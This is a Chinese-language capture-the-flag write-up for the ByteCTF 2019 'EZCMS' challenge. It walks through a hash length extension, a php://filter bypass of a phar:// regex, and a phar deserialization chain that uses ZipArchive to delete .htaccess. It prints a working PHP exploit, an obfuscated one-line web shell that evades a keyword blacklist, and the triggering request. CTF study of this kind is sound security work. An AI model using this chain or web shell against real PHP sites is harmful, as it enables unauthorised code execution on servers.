[ByteCTF 2019]EZCMS

0x00 知识点

源码泄露

www.zip获取源码

哈希长度扩展攻击

hashpumpy.hashpump("52107b08c0f3342d2153ae1d68e6262c","adminadmin","a",8)

链接:
https://www.cnblogs.com/pcat/p/5478509.html

php://filter绕过正则实现phar反序列化

链接:
https://xi4or0uji.github.io/2019/09/11/2019-bytectf-wp/

https://xz.aliyun.com/t/6324#toc-2

审计发现一个phar反序列化点

view.php中

$file = new File($file_name, $file_path);

长传文件后发现有个被输出的 .htaccess,导致无法正常解析

跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容,达成一条反序列化链。

preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)

bypass:
php://filter/read=convert.base64-encode/resource=phar://./z.phar
两种攻击思路:

1:通过触发上传来移动文件,或者清掉.htaccess
2:通过反序列化文件覆盖,能够使用的有一个内置类 ZipArchive->open,如果达到任意文件内容覆盖需要一个 open 函数,可发现
 function __call($name, $arguments) { $this->admin->open($this->username, $this->password); }

刚好有个魔术函数,两个参数也符合。
exp:

<?php

class File{




    public $filename;

    public $filepath;

    public $checker;




    function __construct($filename, $filepath)

    {

        $this->filepath = $filepath;

        $this->filename = $filename;

    }

}

class Profile{




    public $username;

    public $password;

    public $admin;

}

$a = new File("altman","altman");

$a->checker = new Profile();

$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";

$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;

$a->checker->admin = new ZipArchive();

echo serialize($a);

$phar = new Phar("1.phar");

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); 

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

$phar->stopBuffering();

?>

触发反序列化漏洞就用php://filter去绕过

构造好后先上传一个简单马,需要绕过黑名单

<?php

$a="syste";

$b="m";

$c=$a.$b;

$d=$c($_REQUEST['a']);

?>

然后将生成的phar上传,利用filter绕过对phar的过滤

/view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt

触发反序列化。删掉htaccess。此时切记不要访问upload.php,否则会重新生成htaccess。直接访问沙盒下第一个上传的php文件,拿到shell。

参考链接:https://xi4or0uji.github.io/2019/09/11/2019-bytectf-wp/

https://xz.aliyun.com/t/6324#toc-2

原文地址:https://www.cnblogs.com/wangtanzhi/p/12300707.html